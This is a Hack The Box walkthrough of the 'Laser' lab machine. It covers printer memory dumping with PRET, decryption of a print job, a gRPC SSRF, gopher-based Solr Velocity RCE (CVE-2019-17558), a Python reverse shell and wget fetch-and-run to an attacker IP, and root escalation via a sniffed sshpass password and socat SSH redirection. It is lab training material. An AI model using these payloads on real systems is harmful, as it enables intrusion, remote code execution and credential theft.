HTB: Laser

Details

This machine is Laser from Hack The Box

Recon

kali@kali:~$ nmap -sV -p- 10.10.10.201
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-19 04:09 EST
Nmap scan report for 10.10.10.201
Host is up (0.013s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
9000/tcp open  cslistener?
9100/tcp open  jetdirect?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9000-TCP:V=7.91%I=7%D=11/19%Time=5FB63671%P=x86_64-pc-linux-gnu%r(N
SF:ULL,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\
SF:0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0")%r(GenericLines,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@
SF:\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0
SF:\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(GetRequest,3F,"\
SF:0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03
SF:\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0")%r(HTTPOptions,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05
SF:\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x
SF:01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(RTSPRequest,3F,"\0\0\x18\x
SF:04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x0
SF:1\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0
SF:")%r(RPCCheck,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x
SF:06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(DNSVersionBindReqTCP,3F,"\0\0\x18\x04\
SF:0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0
SF:\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%
SF:r(DNSStatusRequestTCP,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\
SF:0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0
SF:\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(Help,3F,"\0\0\x18\x04\0\0\0\0\
SF:0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x
SF:08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(SSLSes
SF:sionReq,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\
SF:x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0")%r(TerminalServerCookie,3F,"\0\0\x18\x04\0\0\0\
SF:0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04
SF:\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(TLSS
SF:essionReq,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\
SF:0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.56 seconds

User

This was an interesting start. The jetdirect port seemed to be a printer server, which led me to try https://github.com/RUB-NDS/PRET against it

kali@kali:~$ python pret.py 10.10.10.201 pjl
      ________________
    _/_______________/|
   /___________/___//||   PRET | Printer Exploitation Toolkit v0.40
  |===        |----| ||    by Jens Mueller <[email protected]>
  |           |   ô| ||
  |___________|   ô| ||
  | ||/.´---.||    | ||      「 pentesting tool that made
  |-||/_____\||-.  | |´         dumpster diving obsolete‥ 」
  |_||=L==H==||_|__|/

     (ASCII art by
     Jan Foerster)

Connection to 10.10.10.201 established
Device:   LaserCorp LaserJet 4ML

Welcome to the pret shell. Type help or ? to list commands.
10.10.10.201:/>

The connection worked so I seemed to be on the right track. I found a queue file

10.10.10.201:/> ?

Available commands (type help <topic>):
=======================================
append  delete    edit    free  info    mkdir      printenv  set        unlock
cat     destroy   env     fuzz  load    nvram      put       site       version
cd      df        exit    get   lock    offline    pwd       status
chvol   disable   find    help  loop    open       reset     timeout
close   discover  flood   hold  ls      pagecount  restart   touch
debug   display   format  id    mirror  print      selftest  traversal

10.10.10.201:/> ls
d        -   pjl

10.10.10.201:/> ls pjl
d        -   jobs

10.10.10.201:/> ls pjl/jobs
-   172199   queued

So I downloaded it

10.10.10.201:/> get pjl/jobs/queued
172199 bytes received.

Looking at the file it seemed to be encrypted. The printer must be able to decrypt it and the following article indicated the password might be in ram http://hacking-printers.net/wiki/index.php/Memory_access, so I took a nvram dump

10.10.10.201:/> nvram dump
Writing copy to nvram/10.10.10.201
................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................k...e....y.....13vu94r6..643rv19u

So I had the key

13vu94r6643rv19u

I was also able to verify the encryption type

10.10.10.201:/> env
[SNIP]
LPARM:ENCRYPTION MODE=AES [CBC]

But I was missing the IV. I made a copy of the file removing the b' and ' at the start/end

kali@kali:~$ cat queue.b64| base64 -d > queue.decoded

kali@kali:~$ wc queue.decoded
   527   2871 129144 queue.decoded

129144 is not a multiple of 16. As the key is 16 characters long I was expecting a block size of 16. So I opened the file in a hex editor

Screenshot 1

The first 8 bytes looked like some kind of checksum or signature. As the IV is not meant to be a secret, and the printer itself must be able to decrypt this file, I decided to try the 16 bytes after the first 8 as the IV. So I wrote a python script to try this

from Crypto.Cipher import AES

with open("queue.decoded", "rb") as f:
    raw_data = f.read()
    unknown = raw_data[0:8]
    iv = raw_data[8:24]
    data = raw_data[24:]

    key = "13vu94r6643rv19u".encode()

    aes = AES.new(key, AES.MODE_CBC, iv)
    with open("queue.decrypted", "wb") as writer:
        writer.write(aes.decrypt(data))

When I ran this I inspected the resulting file

kali@kali:~$ file queue.decrypted
queue.decrypted: PDF document, version 1.4

So I had decrypted it correctly. I took a look at the pdf

Screenshot 2

Screenshot 3

Screenshot 4

The important looking parts were

Screenshot 5

Screenshot 6

It may be protected from deserialization attacks. So I will use it as intended and see what I can find. I used the following guide for the grpc bits https://www.semantics3.com/blog/a-simplified-guide-to-grpc-in-python-6c4e25f0c506/

I knew there was a feed called Pushing Feeds and I needed a proto file to define the following

a service called Print
    has an rpc method called Feed
        takes content as an Input parameter
        returns Data

a message called Content
    a field called data

a message called Data
    a field called feed

Which led to the following file which I called laser.proto

syntax = "proto3";

service Print {
    rpc Feed(Content) returns (Data) {}
}

message Content {
    string data = 1;
}

message Data {
    string feed = 1;
}

I then ran

kali@kali:~$ python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. laser.proto

Which created the following files

laser_pb2_grpc.py
laser_pb2.py

I then began to build a client to work with the server

kali@kali:~$ cat client.py
import grpc
import json
import pickle
import base64

import laser_pb2
import laser_pb2_grpc

channel = grpc.insecure_channel('10.10.10.201:9000')

stub = laser_pb2_grpc.PrintStub(channel)

payload = {
    "version": "v1.0",
    "title": "Printer Feed",
    "home_page_url": "http://printer.laserinternal.htb/",
    "feed_url": "http://printer.laserinternal.htb/feeds.json",
    "items": [
        {
        "id": "2",
        "content_text": "Queue jobs"
        },
        {
        "id": "1",
        "content_text": "Failed items"
        }
    ]
}

payload = json.dumps(payload)
payload = pickle.dumps(payload)
payload = base64.b64encode(payload)

content = laser_pb2.Content(data=payload)

r = stub.Feed(content)
print(r)

Which I ran

kali@kali:~$ python3 client.py
Traceback (most recent call last):
  File "client.py", line 36, in <module>
    r = stub.Feed(content)
  File "/home/kali/.local/lib/python3.8/site-packages/grpc/_channel.py", line 923, in __call__
    return _end_unary_response_blocking(state, call, False, None)
  File "/home/kali/.local/lib/python3.8/site-packages/grpc/_channel.py", line 826, in _end_unary_response_blocking
    raise _InactiveRpcError(state)
grpc._channel._InactiveRpcError: <_InactiveRpcError of RPC that terminated with:
        status = StatusCode.UNKNOWN
        details = "Exception calling application: (6, 'Could not resolve host: printer.laserinternal.htb')"
        debug_error_string = "{"created":"@1605783254.527608988","description":"Error received from peer ipv4:10.10.10.201:9000","file":"src/core/lib/surface/call.cc","file_line":1061,"grpc_message":"Exception calling application: (6, 'Could not resolve host: printer.laserinternal.htb')","grpc_status":2}"
>

It couldn’t find it’s own internal host. So I decided to try modifying the feed_url parameter to see if I could get SSRF. I setup a simplehttpserver and pointed the feed_url at myself

kali@kali:~$ cat client.py
import grpc
import json
import pickle
import base64

import laser_pb2
import laser_pb2_grpc

channel = grpc.insecure_channel('10.10.10.201:9000')

stub = laser_pb2_grpc.PrintStub(channel)

payload = {
    "version": "v1.0",
    "title": "Printer Feed",
    "home_page_url": "http://printer.laserinternal.htb/",
    "feed_url": "http://10.10.14.17/ssrf",
    "items": [
        {
        "id": "2",
        "content_text": "Queue jobs"
        },
        {
        "id": "1",
        "content_text": "Failed items"
        }
    ]
}

payload = json.dumps(payload)
payload = pickle.dumps(payload)
payload = base64.b64encode(payload)

content = laser_pb2.Content(data=payload)

r = stub.Feed(content)
print(r)

Which I then ran

kali@kali:~$  python3 client.py
feed: "Pushing feeds"

In the simplehttpserver

10.10.10.201 - - [19/Nov/2020 05:56:44] code 404, message File not found
10.10.10.201 - - [19/Nov/2020 05:56:44] "GET /ssrf HTTP/1.1" 404 -

I have SSRF and it gives a message when it connected to something. So I killed my simplehttpserver and ran the client again in order to see what happens if it can’t connect

python3 client.py
Traceback (most recent call last):
  File "client.py", line 36, in <module>
    r = stub.Feed(content)
  File "/home/kali/.local/lib/python3.8/site-packages/grpc/_channel.py", line 923, in __call__
    return _end_unary_response_blocking(state, call, False, None)
  File "/home/kali/.local/lib/python3.8/site-packages/grpc/_channel.py", line 826, in _end_unary_response_blocking
    raise _InactiveRpcError(state)
grpc._channel._InactiveRpcError: <_InactiveRpcError of RPC that terminated with:
        status = StatusCode.UNKNOWN
        details = "Exception calling application: (7, 'Failed to connect to 10.10.14.17 port 80: Connection refused')"
        debug_error_string = "{"created":"@1605783454.004881015","description":"Error received from peer ipv4:10.10.10.201:9000","file":"src/core/lib/surface/call.cc","file_line":1061,"grpc_message":"Exception calling application: (7, 'Failed to connect to 10.10.14.17 port 80: Connection refused')","grpc_status":2}"
>

So the exception happens when it can’t connect. So I turned my client into an internal port scanner

kali@kali:~$ cat client_port_scan.py
import grpc
import json
import pickle
import base64

import laser_pb2
import laser_pb2_grpc

for i in range(65535):
    channel = grpc.insecure_channel('10.10.10.201:9000')

    stub = laser_pb2_grpc.PrintStub(channel)

    payload = {
        "version": "v1.0",
        "title": "Printer Feed",
        "home_page_url": "http://printer.laserinternal.htb/",
        "feed_url": "http://localhost:{}".format(i),
        "items": [
            {
            "id": "2",
            "content_text": "Queue jobs"
            },
            {
            "id": "1",
            "content_text": "Failed items"
            }
        ]
    }

    payload = json.dumps(payload)
    payload = pickle.dumps(payload)
    payload = base64.b64encode(payload)

    content = laser_pb2.Content(data=payload)

    try:
        r = stub.Feed(content, timeout=1)
        print("Port {} gave {}".format(i, r))
    except:
        pass

Which I then ran

kali@kali:~$ python3 client_port_scan.py
Port 8983 gave feed: "Pushing feeds"
Port 38243 gave feed: "Pushing feeds"

So port 8983 is listening on localhost, which is the default port for apache SOLR. I found a git repo with some attacks on this, the interesting one being https://github.com/veracode-research/solr-injection#7-cve-2019-17558-rce-via-velocity-template-by-_s00py. But for this to work I needed to be able to SSRF a POST request. So far I could only make it make GET.

I found a solution to this on payloads all the things, using the gopher:// url scheme https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#gopher

The first request I needed to make would have the following format

POST /solr/<SOLR NAME>/config HTTP/1.1
Host: 127.0.0.1:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

For solr name, the pdf contained the following line

4. Merge staging core to feed engine

So I would try the name staging. I first wanted to test it against myself. So I set an nc listener on port 80 and built the following url encoded version of the payload

gopher://10.10.14.17:80/_POST%20%2Fpost%2Ftest%20HTTP%2F1.1%0AContent-Type%3A%20text%2Fplain%0A%0A%7B%22test-data%22%3A%20%7B%20%22more-test%22%3A%20%22data%22%2C%20%22even%22%3A%22more%22%20%7D%7D

Which when I SSRF’d

connect to [10.10.14.17] from (UNKNOWN) [10.10.10.201] 60304
POST /post/test HTTP/1.1
Content-Type: text/plain

{"test-data": { "more-test": "data", "even":"more" }}

So I can make the POST request. As such I designed my payload as

POST /solr/staging/config HTTP/1.1
Host: 127.0.0.1:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

Which url encoded to

POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D

The second stage of the attack would be a simple GET request to

/solr/<SOLR NAME>/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27<COMMAND>%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Again I assumed solr name would be staging and replaced the command with

nc 10.10.14.17 4444

Which would connect back to prove the concept, this url encoded to

nc%2010.10.14.17%204444

So the overall payload would be

/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27nc%2010.10.14.17%204444%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

This led to a script of

import grpc
import json
import pickle
import base64

import laser_pb2
import laser_pb2_grpc

##### STAGE 1 ####
channel = grpc.insecure_channel('10.10.10.201:9000')

stub = laser_pb2_grpc.PrintStub(channel)

payload = {
    "version": "v1.0",
    "title": "Printer Feed",
    "home_page_url": "http://printer.laserinternal.htb/",
    "feed_url": "gopher://localhost:8983/_POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D",
    "items": [
        {
        "id": "2",
        "content_text": "Queue jobs"
        },
        {
        "id": "1",
        "content_text": "Failed items"
        }
    ]
}

payload = json.dumps(payload)
payload = pickle.dumps(payload)
payload = base64.b64encode(payload)

content = laser_pb2.Content(data=payload)

try:
    r = stub.Feed(content, timeout=1)
    print(r)
except:
    pass

#### STAGE 2 ####

channel = grpc.insecure_channel('10.10.10.201:9000')

stub = laser_pb2_grpc.PrintStub(channel)

payload = {
    "version": "v1.0",
    "title": "Printer Feed",
    "home_page_url": "http://printer.laserinternal.htb/",
    "feed_url": "http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27nc%2010.10.14.17%204444%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end",
    "items": [
        {
        "id": "2",
        "content_text": "Queue jobs"
        },
        {
        "id": "1",
        "content_text": "Failed items"
        }
    ]
}

payload = json.dumps(payload)
payload = pickle.dumps(payload)
payload = base64.b64encode(payload)

content = laser_pb2.Content(data=payload)

try:
    r = stub.Feed(content, timeout=1)
    print(r)
except:
    pass

I set a listener

kali@kali:~$ nc -nvlp 4444

And ran the script, when I checked the listener afterwards

connect to [10.10.14.17] from (UNKNOWN) [10.10.10.201] 46386

It worked. I tried a few reverse shell payloads afterwards, but none worked. So I instead tried a staged shell, I hosted a file called shell.py containing

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.17",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

And made my payload

wget http://10.10.14.17/shell.py -O /tmp/shell.py && python3 /tmp/shell.py || python /tmp/shell.py 

Which encoded to

wget%20http%3A%2F%2F10.10.14.17%2Fshell.py%20-O%20%2Ftmp%2Fshell.py%20%26%26%20python3%20%2Ftmp%2Fshell.py%20%7C%7C%20python%20%2Ftmp%2Fshell.py%20

When I ran it the following happened

10.10.10.201 - - [19/Nov/2020 08:23:03] "GET /shell.py HTTP/1.1" 200 -
10.10.10.201 - - [19/Nov/2020 08:23:03] "GET /shell.py HTTP/1.1" 200 -

But no shell. At this point I assumed the shell had been downloaded, just not executed. So I updated the payload to

python3 /tmp/shell.py

Which encoded to

python3%20%2Ftmp%2Fshell.py

And led to

connect to [10.10.14.17] from (UNKNOWN) [10.10.10.201] 47844
/bin/sh: 0: can't access tty; job control turned off
$

$ id
uid=114(solr) gid=120(solr) groups=120(solr)

$ python3 -c "import pty;pty.spawn('/bin/bash')"
solr@laser:/opt/solr/server$

A shell spawned

User

solr@laser:~$ ls -la
ls -la
total 48
drwxr-x---  8 solr solr 4096 Nov 19 09:05 .
drwxr-xr-x 14 root root 4096 Jun 26 13:02 ..
lrwxrwxrwx  1 solr solr    9 Jun 29 06:57 .bash_history -> /dev/null
drwxrwxr-x  3 solr solr 4096 Jul  6 07:06 .cache
drwxr-x---  5 solr solr 4096 Jun 29 04:50 data
drwx------  4 solr solr 4096 Jun 29 06:57 .local
-rw-r-----  1 solr solr 5027 Jun 26 13:02 log4j2.xml
drwxr-x---  2 solr solr 4096 Nov 19 09:06 logs
drwxrwxr-x  2 solr solr 4096 Jun 26 13:02 .oracle_jre_usage
-rw-rw-r--  1 solr solr    5 Nov 19 09:05 solr-8983.pid
-rw-rw-r--  1 solr solr    8 Jun 29 04:46 solr-8984.pid
drwx------  2 solr solr 4096 Aug  4 06:54 .ssh

I added my ssh key to authorized_keys and ssh’d back in

kali@kali:~$ ssh [email protected] -i ./id_rsa
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 19 Nov 2020 01:33:13 PM UTC

  System load:                      0.01
  Usage of /:                       42.5% of 19.56GB
  Memory usage:                     64%
  Swap usage:                       0%
  Processes:                        244
  Users logged in:                  0
  IPv4 address for br-3ae8661b394c: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens160:          10.10.10.201
  IPv6 address for ens160:          dead:beef::250:56ff:feb9:ff44

73 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable

Last login: Tue Aug  4 07:01:35 2020 from 10.10.14.3
solr@laser:~$

Where it turned out I did have access to the user flag

solr@laser:~$ find / -name "user.txt" 2>/dev/null
/home/solr/user.txt

solr@laser:/home/solr$ cat user.txt
[REDACTED]

Root

I then loaded up pspy64 which showed an interesting entry

solr@laser:/tmp$ ./pspy64
2020/11/19 13:39:14 CMD: UID=0    PID=277266 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/bug-feed [email protected]:/root/feeds/
[SNIP}
2020/11/19 13:41:01 CMD: UID=0    PID=278653 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz ssh [email protected] /tmp/clear.sh  

Reading the docs for sshpass https://linux.die.net/man/1/sshpass it turned out that sometimes it would fail to hide the password. So I waited and after a while

2020/11/19 13:50:53 CMD: UID=0    PID=286357 | sshpass -p c413d115b3d87664499624e7826d8c5a scp /opt/updates/files/postgres-feed [email protected]:/root/feeds/

I had the ssh password for root on a docker container. I had also seen that sometimes root ssh’s into the container, and runs /tmp/clear.sh, I had a theory that if I redirected the root ssh connection from 172.18.0.2 back to 172.18.0.1 which would be the host, it would run /tmp/clean.sh on the host as root. If I put a shell in that it would spawn me a root shell. To do this I needed to connect to the docker container, load socat, shut down the real ssh server and user socat to redirect port 22 back at the host. For the shell in /tmp/clear.sh I reused the python one I loaded earlier

solr@laser:/opt/updates$ echo "python3 /tmp/shell.py" > /tmp/clear.sh
solr@laser:/opt/updates$ chmod +x /tmp/clear.sh

I then ssh’d into the docker where I downloaded and setup socat, then ran the exploit steps

solr@laser:/tmp$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Thu Nov 19 14:00:36 2020 from 172.18.0.1
root@20e3289bc183:~#

root@20e3289bc183:~# wget http://10.10.14.17/socat -O /tmp/socat
root@20e3289bc183:~# chmod +x /tmp/socat

root@20e3289bc183:~# service ssh stop
 * Stopping OpenBSD Secure Shell server sshd

root@20e3289bc183:~# /tmp/socat TCP-LISTEN:22,fork,reuseaddr TCP:172.18.0.1:22
/tmp/socat TCP-LISTEN:22,fork,reuseaddr TCP:172.18.0.1:22

Not long later in my listener

connect to [10.10.14.17] from (UNKNOWN) [10.10.10.201] 52522
/bin/sh: 0: can't access tty; job control turned off
#

# id
uid=0(root) gid=0(root) groups=0(root)

I had a root shell on the host and could grab the flag

# cd /root
# ls -la
total 56
drwx------  6 root root 4096 Aug  4 07:04 .
drwxr-xr-x 20 root root 4096 May  7  2020 ..
lrwxrwxrwx  1 root root    9 Jun 15 04:04 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Dec  5  2019 .bashrc
drwx------  3 root root 4096 Aug  3 13:03 .cache
-rwxr-xr-x  1 root root   59 Jun 24 05:14 clear.sh
-rwxr-xr-x  1 root root  346 Aug  3 04:25 feed.sh
drwxr-xr-x  3 root root 4096 Jul  1 03:33 .local
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-rwxrwxr-x  1 root root  433 Jun 29 06:48 reset.sh
-r--------  1 root root   33 Nov 19 09:05 root.txt
-rw-r--r--  1 root root   66 Aug  4 07:04 .selected_editor
drwxr-xr-x  3 root root 4096 May 18  2020 snap
drwx------  2 root root 4096 Jul  6 06:11 .ssh
-rwxr-xr-x  1 root root  265 Jun 26 11:36 update.sh

# cat root.txt
[REDACTED]

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.